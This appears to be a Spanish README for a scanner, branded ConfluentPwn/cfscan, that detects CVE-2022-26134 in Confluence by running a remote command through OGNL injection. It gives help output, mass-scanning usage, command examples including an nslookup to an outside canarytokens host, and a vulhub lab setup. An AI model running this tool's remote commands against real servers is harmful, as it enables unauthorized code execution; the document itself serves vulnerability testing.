
Escáner de ejecución remota de código mediante inyección ONGL no autenticada en Atlassian Confluence (CVE-2022-26134).
Escáner de ejecución remota de código por inyección ONGL en Confluence sin autenticación previa (CVE-2022-26134).
El siguiente GIF muestra un uso de demostración de la herramienta:

Este es el resultado de la ayuda de la herramienta:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
Usage:
-cmd string
Command to execute on a vulnerable confluence server. (default "id")
-file string
Specify a file containing list of hosts to scan.
-output string
Output filepath to write the scan results into. (default "cfpwn-results.csv")
-regex string
Regex to match the response header for the command executed.
-threads int
Number of threads to use while scanning. (default 20)
-timeout int
HTTP timeout in seconds. (default 5)
-user-agent string
Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
Examples:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Los objetivos se pueden especificar de dos maneras:
./cfscan target1 target2 ...
-file.
./cfscan -file targets.txt
El número máximo de objetivos concurrentes a procesar se puede controlar mediante el argumento -threads. El valor de concurrencia predeterminado es 20.
El valor del tiempo de espera HTTP en segundos se puede especificar mediante el argumento -timeout. El tiempo de espera predeterminado está establecido en 5 segundos.
Se puede especificar un user-agent personalizado usando la bandera -user-agent, en caso de que el usuario quiera rastrear cadenas UA en sus registros.
El resultado generado se escribe en un archivo CSV, cuyo destino se puede especificar con la bandera -output. El archivo de salida predeterminado que se genera es cfscan-results.csv.
El resultado contiene 4 columnas:
El comando a ejecutar en un servidor vulnerable se puede especificar usando el argumento -cmd. Se especifica una expresión regular para que coincida con la salida del comando, la cual se puede indicar usando la bandera -regex.
El comando predeterminado que se ejecuta es id, y la expresión regular utilizada para coincidir con la salida del comando es uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\).
El uso conjunto de las banderas se ve así:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Si desea probar la herramienta o la vulnerabilidad en general, puede consultar esto: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134.
El proceso de instalación es bastante simple: los siguientes comandos son suficientes:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
La aplicación ahora debería estar disponible en http://localhost:8090.
La herramienta está licenciada bajo la licencia MIT. Ver LICENSE. Actualmente la herramienta está en la v0.1.
El equipo de investigación de RedHunt Labs agradece a vulhub por proporcionar la imagen de prueba de docker.
Para conocer más sobre nuestra plataforma de gestión de superficie de ataque, visita NVADR.